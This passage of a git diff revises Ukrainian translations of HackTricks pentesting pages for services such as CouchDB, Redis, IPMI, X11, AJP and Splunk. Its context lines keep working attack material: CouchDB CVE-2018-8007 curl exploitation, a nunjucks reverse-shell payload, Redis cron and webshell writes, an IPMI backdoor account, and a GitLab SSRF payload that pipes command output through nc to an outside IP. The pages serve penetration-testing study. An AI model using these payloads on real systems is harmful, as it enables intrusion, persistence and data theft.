мережу, де кожен вузол пов'язаний з усіма іншими вузлами. -Особливу увагу приділено важливому advisory безпеки щодо порту `4369`. Якщо цей порт стає доступним через Інтернет або будь-яку ненадійну мережу, безпека системи сильно залежить від унікального ідентифікатора, відомого як "cookie". Цей cookie діє як захист. Наприклад, у даному списку процесів може бути спостережено cookie з назвою "monster", що вказує на його роль у системі безпеки. +Особливу увагу приділено важливому advisory безпеки щодо порту `4369`. Якщо цей порт стає доступним через Інтернет або будь-яку ненадійну мережу, безпека системи сильно залежить від унікального ідентифікатора, відомого як "cookie". Цей cookie діє як захист. Наприклад, у даному списку процесів може бути спостережено cookie з назвою "monster", що вказує на його операційну роль у системі безпеки. ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb @@ -133,7 +133,7 @@ homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bi Приклад [звідси](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -Недавно розкрита вразливість, CVE-2018-8007, що впливає на Apache CouchDB, була досліджена, виявивши, що експлуатація вимагає прав на запис до файлу `local.ini`. Хоча це не було безпосередньо застосовно до початкової цільової системи через обмеження безпеки, були внесені зміни, щоб надати доступ на запис до файлу `local.ini` для цілей дослідження. Детальні кроки та приклади коду наведені нижче, демонструючи процес. +Недавно розкрита вразливість CVE-2018-8007, що впливає на Apache CouchDB, була досліджена, виявивши, що експлуатація вимагає прав на запис до файлу `local.ini`. Хоча це не було безпосередньо застосовно до початкової цільової системи через обмеження безпеки, були внесені зміни, щоб надати доступ на запис до файлу `local.ini` для цілей дослідження. Детальні кроки та приклади коду наведені нижче, демонструючи процес. Спочатку середовище готується, забезпечуючи, щоб файл `local.ini` був записуваним, що перевіряється шляхом переліку прав: ```bash @@ -184,7 +184,7 @@ curl http://0xdf:df@localhost:5984/_config/query_servers/ curl 'http://0xdf:df@localhost:5984/_membership' curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers ``` -Спроби додати та викликати новий сервер запитів зустрілися з помилками, пов'язаними з дозволами, про що свідчить наступний вивід: +Спроби додати та викликати новий сервер запитів зустрілися з помилками, пов'язаними з дозволами, про що свідчить наступний вихід: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` @@ -197,13 +197,13 @@ chmod 666 /home/homer/etc/local.ini ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` -Процес продовжився створенням бази даних та документа, після чого була спроба виконати код через користувацьке відображення, що відповідає новоствореному серверу запитів: +Процес продовжився створенням бази даних та документа, після чого була спроба виконати код через користувацьке відображення, що відображає новостворений сервер запитів: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/df' curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' ``` -A [**резюме**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) з альтернативним payload надає додаткову інформацію про експлуатацію CVE-2017-12636 за певних умов. **Корисні ресурси** для експлуатації цієї вразливості включають: +[**резюме**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) з альтернативним payload надає додаткову інформацію про експлуатацію CVE-2017-12636 за певних умов. **Корисні ресурси** для експлуатації цієї вразливості включають: - [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) - [Exploit Database entry](https://www.exploit-db.com/exploits/44913/) diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 7f5f9f2ca..f91d7149b 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -26,7 +26,7 @@ Set-Item wsman:\localhost\client\trustedhosts * ```powershell wmic /node: process call create "powershell enable-psremoting -force" ``` -Цей метод дозволяє віддалено налаштувати WinRM, підвищуючи гнучкість в управлінні Windows-машинами з відстані. +Цей метод дозволяє віддалено налаштувати WinRM, підвищуючи гнучкість у керуванні Windows-машинами з відстані. ### Перевірте, чи налаштовано @@ -40,7 +40,7 @@ Test-WSMan ![](<../images/image (582).png>) -- Навпаки, для цілі, **яка не** налаштована для WinRM, це призведе до відсутності такої детальної інформації, підкреслюючи відсутність належної конфігурації WinRM. +- Навпаки, для цілі, **яка не** налаштована для WinRM, це призведе до відсутності такої детальної інформації, що підкреслює відсутність належної конфігурації WinRM. ![](<../images/image (458).png>) diff --git a/src/network-services-pentesting/6000-pentesting-x11.md b/src/network-services-pentesting/6000-pentesting-x11.md index 3201f2627..fa449ea85 100644 --- a/src/network-services-pentesting/6000-pentesting-x11.md +++ b/src/network-services-pentesting/6000-pentesting-x11.md @@ -13,7 +13,7 @@ PORT STATE SERVICE ``` ## Enumeration -Перевірте наявність **анонімного з'єднання:** +Перевірте на **анонімне з'єднання:** ```bash nmap -sV --script x11-access -p msf> use auxiliary/scanner/x11/open_x11 @@ -64,7 +64,7 @@ qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDo xwd -root -screen -silent -display > screenshot.xwd convert screenshot.xwd screenshot.png ``` -## Віддалений робочий стіл +## Віддалений доступ до робочого столу Шлях з: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ``` @@ -118,7 +118,7 @@ msf> use exploit/unix/x11/x11_keyboard_exec ```bash nc -lvp 5555 ``` -Потім введіть свою IP-адресу та порт у опції **R-Shell** і натисніть на **R-shell**, щоб отримати оболонку +Потім введіть свою IP-адресу та порт у опцію **R-Shell** і натисніть на **R-shell**, щоб отримати оболонку ## Посилання diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index 46d24ade0..1d1063f3b 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -42,7 +42,7 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### IPMI Вразливості -У сфері IPMI 2.0 було виявлено значну вразливість безпеки, яку відкрив Дан Фармер, що дозволяє отримати доступ через **cipher type 0**. Ця вразливість, детально задокументована в [дослідженні Дана Фармера](http://fish2.com/ipmi/cipherzero.html), дозволяє несанкціонований доступ з будь-яким паролем, якщо цільовим є дійсний користувач. Ця слабкість була виявлена в різних BMC від виробників, таких як HP, Dell та Supermicro, що свідчить про поширену проблему в усіх реалізаціях IPMI 2.0. +У сфері IPMI 2.0 було виявлено значну вразливість безпеки, яку відкрив Дан Фармер, що дозволяє отримати доступ через **cipher type 0**. Ця вразливість, детально задокументована в [дослідженні Дана Фармера](http://fish2.com/ipmi/cipherzero.html), дозволяє несанкціонований доступ з будь-яким паролем, якщо націлено на дійсного користувача. Ця слабкість була виявлена в різних BMC від виробників, таких як HP, Dell і Supermicro, що свідчить про поширену проблему в усіх реалізаціях IPMI 2.0. ### **Обхід автентифікації IPMI через Cipher 0** @@ -77,7 +77,7 @@ cat /nv/PSBlock ``` ### **Уразливість Supermicro IPMI UPnP** -Включення Supermicro слухача UPnP SSDP у своєму IPMI прошивці, зокрема на UDP порту 1900, створює серйозний ризик безпеки. Уразливості в Intel SDK для UPnP Devices версії 1.3.1, як детально описано в [розкритті Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), дозволяють отримати доступ до BMC з правами root: +Включення Supermicro прослуховувача UPnP SSDP у своєму прошивці IPMI, зокрема на UDP порту 1900, створює серйозний ризик безпеки. Уразливості в Intel SDK для UPnP Devices версії 1.3.1, як зазначено в [розкритті Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), дозволяють отримати доступ до BMC з правами root: ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` @@ -95,7 +95,7 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow ## Introducing Backdoors into BMC from the Host -Після компрометації хоста, оснащеного BMC, **локальний інтерфейс BMC може бути використаний для вставки бекдор-облікового запису**, створюючи тривалу присутність на сервері. Ця атака вимагає наявності **`ipmitool`** на скомпрометованому хості та активації підтримки драйвера BMC. Наступні команди ілюструють, як новий обліковий запис користувача може бути введений у BMC, використовуючи локальний інтерфейс хоста, що обходить необхідність аутентифікації. Ця техніка застосовна до широкого спектра операційних систем, включаючи Linux, Windows, BSD та навіть DOS. +Після компрометації хоста, оснащеного BMC, **локальний інтерфейс BMC може бути використаний для вставки бекдор-облікового запису**, створюючи тривалу присутність на сервері. Ця атака вимагає наявності **`ipmitool`** на скомпрометованому хості та активації підтримки драйвера BMC. Наступні команди ілюструють, як новий обліковий запис користувача може бути введений у BMC за допомогою локального інтерфейсу хоста, що обходить необхідність аутентифікації. Ця техніка застосовна до широкого спектру операційних систем, включаючи Linux, Windows, BSD та навіть DOS. ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit diff --git a/src/network-services-pentesting/6379-pentesting-redis.md b/src/network-services-pentesting/6379-pentesting-redis.md index f4212c5bc..ec67c8e71 100644 --- a/src/network-services-pentesting/6379-pentesting-redis.md +++ b/src/network-services-pentesting/6379-pentesting-redis.md @@ -47,7 +47,7 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools > Якщо налаштовано лише пароль, то використовується ім'я користувача "**default**".\ > Також зверніть увагу, що **немає способу дізнатися зовні**, чи був Redis налаштований лише з паролем або з іменем користувача + паролем. -У таких випадках вам **потрібно знайти дійсні облікові дані**, щоб взаємодіяти з Redis, тому ви можете спробувати [**brute-force**](../generic-hacking/brute-force.md#redis).\ +У таких випадках вам **потрібно знайти дійсні облікові дані**, щоб взаємодіяти з Redis, тому ви можете спробувати [**brute-force**](../generic-hacking/brute-force.md#redis) його.\ **Якщо ви знайшли дійсні облікові дані, вам потрібно аутентифікувати сесію** після встановлення з'єднання за допомогою команди: ```bash AUTH @@ -87,7 +87,7 @@ rename-command FLUSHDB "" ``` INFO keyspace ``` -У цьому прикладі використовуються **бази даних 0 та 1**. **База даних 0 містить 4 ключі, а база даних 1 містить 1**. За замовчуванням Redis використовуватиме базу даних 0. Щоб, наприклад, скинути базу даних 1, вам потрібно зробити: +У цьому прикладі використовуються **бази даних 0 та 1**. **База даних 0 містить 4 ключі, а база даних 1 містить 1**. За замовчуванням Redis використовує базу даних 0. Щоб, наприклад, скинути базу даних 1, вам потрібно зробити: ```bash SELECT 1 [ ... Indicate the database ... ] @@ -96,9 +96,9 @@ KEYS * GET [ ... Get Key ... ] ``` -У випадку, якщо ви отримаєте наступну помилку `-WRONGTYPE Operation against a key holding the wrong kind of value` під час виконання `GET `, це може бути через те, що ключ може бути чимось іншим, ніж рядок або ціле число, і вимагає спеціального оператора для його відображення. +У випадку, якщо ви отримаєте наступну помилку `-WRONGTYPE Operation against a key holding the wrong kind of value` під час виконання `GET `, це може бути через те, що ключ може бути чимось іншим, ніж рядком або цілим числом, і вимагає спеціального оператора для його відображення. -Щоб дізнатися тип ключа, використовуйте команду `TYPE`, приклад нижче для ключів списку та хешу. +Щоб дізнатися тип ключа, використовуйте команду `TYPE`, приклад нижче для спискових та хеш-ключів. ```bash TYPE [ ... Type of the Key ... ] @@ -138,9 +138,9 @@ OK ### Шаблон веб-оболонки -Як і в попередньому розділі, ви також можете перезаписати деякий html шаблонний файл, який буде інтерпретовано шаблонним двигуном, і отримати оболонку. +Як і в попередньому розділі, ви також можете перезаписати деякий html шаблон, який буде інтерпретовано шаблонним двигуном, і отримати оболонку. -Наприклад, слідуючи [**цьому опису**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), ви можете побачити, що зловмисник вставив **rev shell в html**, який інтерпретується **двигуном шаблонів nunjucks:** +Наприклад, слідуючи [**цьому опису**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), ви можете побачити, що зловмисник вставив **rev shell в html**, інтерпретованому **двигуном шаблонів nunjucks:** ```javascript {{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), @@ -193,7 +193,7 @@ OK root@Urahara:~# redis-cli -h 10.85.0.52 save OK ``` -Останній приклад для Ubuntu, для **Centos** вище наведена команда повинна бути: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` +Останній приклад для Ubuntu, для **Centos**, вище наведена команда повинна бути: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` Цей метод також можна використовувати для заробітку біткойнів :[yam](https://www.v2ex.com/t/286981#reply14) @@ -217,7 +217,7 @@ OK ### Обхід пісочниці LUA -[**Тут**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) ви можете побачити, що Redis використовує команду **EVAL** для виконання **коду Lua в пісочниці**. У пов'язаному пості ви можете побачити **як зловживати цим**, використовуючи функцію **dofile**, але [очевидно](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), що це більше не можливо. У будь-якому випадку, якщо ви зможете **обійти пісочницю Lua**, ви зможете **виконувати довільні** команди на системі. Також, з того ж посту ви можете побачити деякі **варіанти для виклику DoS**. +[**Тут**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) ви можете побачити, що Redis використовує команду **EVAL** для виконання **коду Lua в пісочниці**. У пов'язаному пості ви можете побачити **як зловживати цим**, використовуючи функцію **dofile**, але [очевидно](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), що це більше не можливо. У будь-якому випадку, якщо ви можете **обійти пісочницю Lua**, ви могли б **виконати довільні** команди на системі. Також, з того ж посту ви можете побачити деякі **варіанти для виклику DoS**. Деякі **CVEs для втечі з LUA**: @@ -225,7 +225,7 @@ OK ### Модуль Master-Slave -​Головний redis автоматично синхронізує всі операції зі slave redis, що означає, що ми можемо вважати вразливість redis як slave redis, підключений до головного redis, який ми контролюємо, тоді ми можемо ввести команду до нашого власного redis. +​Головний redis автоматично синхронізує всі операції з slave redis, що означає, що ми можемо вважати вразливість redis як slave redis, підключений до головного redis, який ми контролюємо, тоді ми можемо ввести команду до нашого власного redis. ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) @@ -237,7 +237,7 @@ redis-cli -h 10.85.0.51 -p 6379 set mykey hello set mykey2 helloworld ``` -## SSRF, що спілкується з Redis +## SSRF спілкування з Redis Якщо ви можете надіслати **текстовий** запит **до Redis**, ви можете **спілкуватися з ним**, оскільки Redis буде читати запит рядок за рядком і просто відповідати помилками на рядки, які не розуміє: ``` @@ -249,11 +249,11 @@ set mykey2 helloworld -ERR unknown command 'Cache-Control:' -ERR unknown command 'Connection:' ``` -Отже, якщо ви знайдете **SSRF vuln** на веб-сайті і зможете **контролювати** деякі **заголовки** (можливо, з **CRLF vuln**) або **POST параметри**, ви зможете надсилати довільні команди до Redis. +Отже, якщо ви знайдете **SSRF vuln** на веб-сайті і зможете **контролювати** деякі **заголовки** (можливо, з вразливістю CRLF) або **POST параметри**, ви зможете надсилати довільні команди до Redis. ### Приклад: Gitlab SSRF + CRLF до Shell -У **Gitlab11.4.7** була виявлена **SSRF** вразливість і **CRLF**. **SSRF** вразливість була в **функціоналі імпорту проекту з URL** під час створення нового проекту і дозволяла отримувати доступ до довільних IP-адрес у формі \[0:0:0:0:0:ffff:127.0.0.1] (це доступ до 127.0.0.1), а **CRLF** вразливість була використана просто **додаванням %0D%0A** символів до **URL**. +У **Gitlab11.4.7** була виявлена **SSRF** вразливість та **CRLF**. **SSRF** вразливість була в **функціоналі імпорту проекту з URL** під час створення нового проекту і дозволяла отримувати доступ до довільних IP-адрес у формі \[0:0:0:0:0:ffff:127.0.0.1] (це отримує доступ до 127.0.0.1), а вразливість **CRLF** була використана просто **додаванням %0D%0A** символів до **URL**. Отже, було можливим **зловживати цими вразливостями, щоб спілкуватися з екземпляром Redis**, який **керує чергами** з **gitlab** і зловживати цими чергами для **отримання виконання коду**. Пейлоад зловживання чергою Redis: ``` @@ -262,7 +262,7 @@ sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec ``` -А **URL encode** запит **зловживаючи SSRF** та **CRLF** для виконання `whoami` та відправлення виходу через `nc` виглядає так: +А **URL encode** запит **зловживаючи SSRF** та **CRLF** для виконання `whoami` та відправки виходу через `nc` виглядає так: ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` diff --git a/src/network-services-pentesting/69-udp-tftp.md b/src/network-services-pentesting/69-udp-tftp.md index d778bd89a..aff4e0d3c 100644 --- a/src/network-services-pentesting/69-udp-tftp.md +++ b/src/network-services-pentesting/69-udp-tftp.md @@ -3,7 +3,7 @@ # Основна інформація -**Trivial File Transfer Protocol (TFTP)** - це простий протокол, що використовується на **UDP порту 69**, який дозволяє передавати файли без необхідності аутентифікації. Відзначений у **RFC 1350**, його простота означає, що йому бракує ключових функцій безпеки, що призводить до обмеженого використання в публічному Інтернеті. Однак **TFTP** широко використовується в великих внутрішніх мережах для розподілу **конфігураційних файлів** та **ROM-образів** на пристрої, такі як **VoIP телефони**, завдяки своїй ефективності в цих специфічних сценаріях. +**Trivial File Transfer Protocol (TFTP)** - це простий протокол, що використовується на **UDP порту 69**, який дозволяє передавати файли без необхідності аутентифікації. Описаний у **RFC 1350**, його простота означає, що йому бракує ключових функцій безпеки, що призводить до обмеженого використання в публічному Інтернеті. Однак **TFTP** широко використовується в великих внутрішніх мережах для розподілу **конфігураційних файлів** та **ROM-образів** на пристрої, такі як **VoIP телефони**, завдяки своїй ефективності в цих специфічних сценаріях. **TODO**: Надати інформацію про те, що таке Bittorrent-tracker (Shodan ідентифікує цей порт під цією назвою). Якщо у вас є більше інформації про це, дайте нам знати, наприклад, у [**групі HackTricks в телеграмі**](https://t.me/peass) (або в питанні на github в [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)). diff --git a/src/network-services-pentesting/7-tcp-udp-pentesting-echo.md b/src/network-services-pentesting/7-tcp-udp-pentesting-echo.md index 100e5cc9d..df78872b4 100644 --- a/src/network-services-pentesting/7-tcp-udp-pentesting-echo.md +++ b/src/network-services-pentesting/7-tcp-udp-pentesting-echo.md @@ -2,8 +2,8 @@ # Основна інформація -Служба еха працює на цьому хості. Служба еха призначена для тестування та вимірювання і може слухати як протоколи TCP, так і UDP. Сервер відправляє назад будь-які дані, які він отримує, без змін.\ -**Можливо викликати відмову в обслуговуванні, підключивши службу еха до служби еха на тому ж або іншому комп'ютері**. Через надмірно велику кількість пакетів, що виробляються, постраждалі машини можуть бути фактично виведені з експлуатації.\ +Служба еха працює на цьому хості. Служба еха призначена для тестування та вимірювання і може слухати як TCP, так і UDP протоколи. Сервер відправляє назад будь-які дані, які він отримує, без змін.\ +**Можливо викликати відмову в обслуговуванні, підключивши службу еха до служби еха на тому ж або іншому комп'ютері**. Через надмірно велику кількість пакетів, що генеруються, уражені машини можуть бути фактично виведені з експлуатації.\ Інформація з [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) **Порт за замовчуванням:** 7/tcp/udp diff --git a/src/network-services-pentesting/700-pentesting-epp.md b/src/network-services-pentesting/700-pentesting-epp.md index 3eda3d752..a02576334 100644 --- a/src/network-services-pentesting/700-pentesting-epp.md +++ b/src/network-services-pentesting/700-pentesting-epp.md @@ -4,12 +4,12 @@ ## Основна інформація -Розширювальний протокол надання (EPP) - це мережевий протокол, що використовується для **управління доменними іменами та іншими інтернет-ресурсами** реєстрами доменних імен та реєстраторами. Він дозволяє автоматизацію процесів реєстрації, продовження, передачі та видалення доменних імен, забезпечуючи стандартизовану та безпечну комунікаційну структуру між різними суб'єктами в системі доменних імен (DNS). EPP розроблений так, щоб бути гнучким і розширювальним, що дозволяє додавати нові функції та команди в міру розвитку потреб інфраструктури Інтернету. +Розширений протокол надання (EPP) - це мережевий протокол, що використовується для **управління доменними іменами та іншими інтернет-ресурсами** реєстрами доменних імен та реєстраторами. Він дозволяє автоматизацію процесів реєстрації, продовження, передачі та видалення доменних імен, забезпечуючи стандартизовану та безпечну комунікаційну структуру між різними суб'єктами в системі доменних імен (DNS). EPP розроблений для гнучкості та розширюваності, що дозволяє додавати нові функції та команди в міру розвитку потреб інфраструктури Інтернету. В основному, це один з протоколів, які **реєстратор TLD буде пропонувати реєстраторам доменів** для реєстрації нових доменів у TLD. ### Пентест -[**У цій дуже цікавій статті**](https://hackcompute.com/hacking-epp-servers/) ви можете побачити, як деякі дослідження безпеки виявили, що кілька **реалізацій цього протоколу** були вразливими до XXE (XML External Entity), оскільки цей протокол використовує XML для комунікації, що дозволило б зловмисникам захопити десятки різних TLD. +[**У цій дуже цікавій статті**](https://hackcompute.com/hacking-epp-servers/) ви можете побачити, як деякі дослідження безпеки виявили, що кілька **реалізацій цього протоколу** були вразливі до XXE (XML External Entity), оскільки цей протокол використовує XML для комунікації, що дозволило б зловмисникам захопити десятки різних TLD. {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md index 7353459cb..2e28ce410 100644 --- a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md +++ b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md @@ -4,7 +4,7 @@ ## Основна інформація -From [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/) +З [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/) > AJP - це протокол передачі даних. Це оптимізована версія протоколу HTTP, що дозволяє автономному веб-серверу, такому як [Apache](http://httpd.apache.org/), спілкуватися з Tomcat. Історично, Apache був значно швидшим за Tomcat у обслуговуванні статичного контенту. Ідея полягає в тому, щоб дозволити Apache обслуговувати статичний контент, коли це можливо, але проксувати запит до Tomcat для контенту, пов'язаного з Tomcat. @@ -19,9 +19,9 @@ PORT STATE SERVICE ``` ## CVE-2020-1938 ['Ghostcat'](https://www.chaitin.cn/en/ghostcat) -Це вразливість LFI, яка дозволяє отримати деякі файли, такі як `WEB-INF/web.xml`, що містить облікові дані. Це [експлойт](https://www.exploit-db.com/exploits/48143) для зловживання вразливістю, і порти AJP можуть бути до неї вразливими. +Це вразливість LFI, яка дозволяє отримати деякі файли, такі як `WEB-INF/web.xml`, що містять облікові дані. Це [експлойт](https://www.exploit-db.com/exploits/48143) для зловживання вразливістю, і порти AJP можуть бути до неї вразливими. -Виправлені версії знаходяться на рівні 9.0.31, 8.5.51 та 7.0.100. +Виправлені версії - 9.0.31 або вище, 8.5.51 та 7.0.100. ## Enumeration @@ -37,9 +37,9 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 ([Перегляньте версію з Docker](8009-pentesting-apache-jserv-protocol-ajp.md#Dockerized-version)) -Можливо спілкуватися з відкритим AJP проксі портом (8009 TCP), використовуючи модуль `ajp_module` для Nginx, і отримати доступ до Tomcat Manager з цього порту, що в кінцевому підсумку може призвести до RCE на вразливому сервері. +Можливо спілкуватися з відкритим AJP проксі портом (8009 TCP), використовуючи модуль `ajp_module` для Apache в Nginx, і отримати доступ до Tomcat Manager з цього порту, що в кінцевому підсумку може призвести до RCE на вразливому сервері. -- Почніть завантаження Nginx з [https://nginx.org/en/download.html](https://nginx.org/en/download.html) і потім скомпілюйте його з модулем ajp: +- Почніть завантажувати Nginx з [https://nginx.org/en/download.html](https://nginx.org/en/download.html) і потім скомпілюйте його з модулем ajp: ```bash # Compile Nginx with the ajp module git clone https://github.com/dvershinin/nginx_ajp_module.git diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index 59eb12bd0..a8933c20c 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -6,7 +6,7 @@ - Інструмент аналітики журналів, що використовується для збору даних, аналізу та візуалізації - Зазвичай використовується в моніторингу безпеки та бізнес-аналітиці -- Порт по замовчуванню: +- Порт за замовчуванням: - Веб-сервер: 8000 - Служба Splunkd: 8089 @@ -28,14 +28,14 @@ 3. Можливості віддаленого виконання коду - Кілька методів виконання коду: -- Серверні Django додатки -- REST кінцеві точки +- Серверні Django-додатки +- REST-інтерфейси - Скриптові введення - Сценарії сповіщень - Підтримка крос-платформ (Windows/Linux) - Скриптові введення можуть виконувати: -- Bash скрипти -- PowerShell скрипти +- Bash-скрипти +- PowerShell-скрипти - Пакетні скрипти Ключовий потенціал експлуатації: @@ -53,7 +53,7 @@ ### Створення користувацького додатку -Splunk пропонує складний метод для віддаленого виконання коду через розгортання користувацького додатку, використовуючи свої крос-платформні можливості скриптування. Основна техніка експлуатації полягає в створенні шкідливого додатку, який може виконувати реверсні оболонки на системах Windows і Linux. +Splunk пропонує складний метод для віддаленого виконання коду через розгортання користувацького додатку, використовуючи свої крос-платформні можливості скриптування. Основна техніка експлуатації полягає в створенні шкідливого додатку, який може виконувати реверс-шейли на системах Windows і Linux. Користувацький додаток може виконувати **Python, Batch, Bash або PowerShell скрипти**. Більше того, **Splunk постачається з встановленим Python**, тому навіть на **Windows** системах ви зможете виконувати код python. diff --git a/src/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md b/src/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md index 68f8f4e60..eaddd6211 100644 --- a/src/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md +++ b/src/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md @@ -21,7 +21,7 @@ PORT STATE SERVICE ## Enumeration -Вузли Bitcoin нададуть вам деяку інформацію, якщо вважатимуть, що ви є іншим дійсним вузлом Bitcoin. **Nmap** має деякі скрипти для витягування цієї інформації: +Вузли Bitcoin нададуть вам деяку інформацію, якщо вважатимуть, що ви є іншим дійсним вузлом Bitcoin. **Nmap** має деякий скрипт для витягування цієї інформації: ``` sudo nmap -p 8333 --script bitcoin-info --script bitcoin-getaddr 170.39.103.39 PORT STATE SERVICE diff --git a/src/network-services-pentesting/873-pentesting-rsync.md b/src/network-services-pentesting/873-pentesting-rsync.md index 9a6993e05..53b3b1a3d 100644 --- a/src/network-services-pentesting/873-pentesting-rsync.md +++ b/src/network-services-pentesting/873-pentesting-rsync.md @@ -4,9 +4,9 @@ ## **Основна інформація** -З [вікіпедії](https://en.wikipedia.org/wiki/Rsync): +З [wikipedia](https://en.wikipedia.org/wiki/Rsync): -> **rsync** - це утиліта для ефективного [перенесення](https://en.wikipedia.org/wiki/File_transfer) та [синхронізації](https://en.wikipedia.org/wiki/File_synchronization) [файлів](https://en.wikipedia.org/wiki/Computer_file) між комп'ютером та зовнішнім жорстким диском, а також між [мережевими](https://en.wikipedia.org/wiki/Computer_network) [комп'ютерами](https://en.wikipedia.org/wiki/Computer) шляхом порівняння [часів модифікації]() та розмірів файлів.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Він зазвичай зустрічається на [Unix-подібних](https://en.wikipedia.org/wiki/Unix-like) [операційних системах](https://en.wikipedia.org/wiki/Operating_system). Алгоритм rsync є типом [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding) і використовується для мінімізації використання мережі. [Zlib](https://en.wikipedia.org/wiki/Zlib) може бути використаний для додаткового [стиснення даних](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) а [SSH](https://en.wikipedia.org/wiki/Secure_Shell) або [stunnel](https://en.wikipedia.org/wiki/Stunnel) можуть бути використані для безпеки. +> **rsync** - це утиліта для ефективного [перенесення](https://en.wikipedia.org/wiki/File_transfer) та [синхронізації](https://en.wikipedia.org/wiki/File_synchronization) [файлів](https://en.wikipedia.org/wiki/Computer_file) між комп'ютером та зовнішнім жорстким диском, а також між [мережевими](https://en.wikipedia.org/wiki/Computer_network) 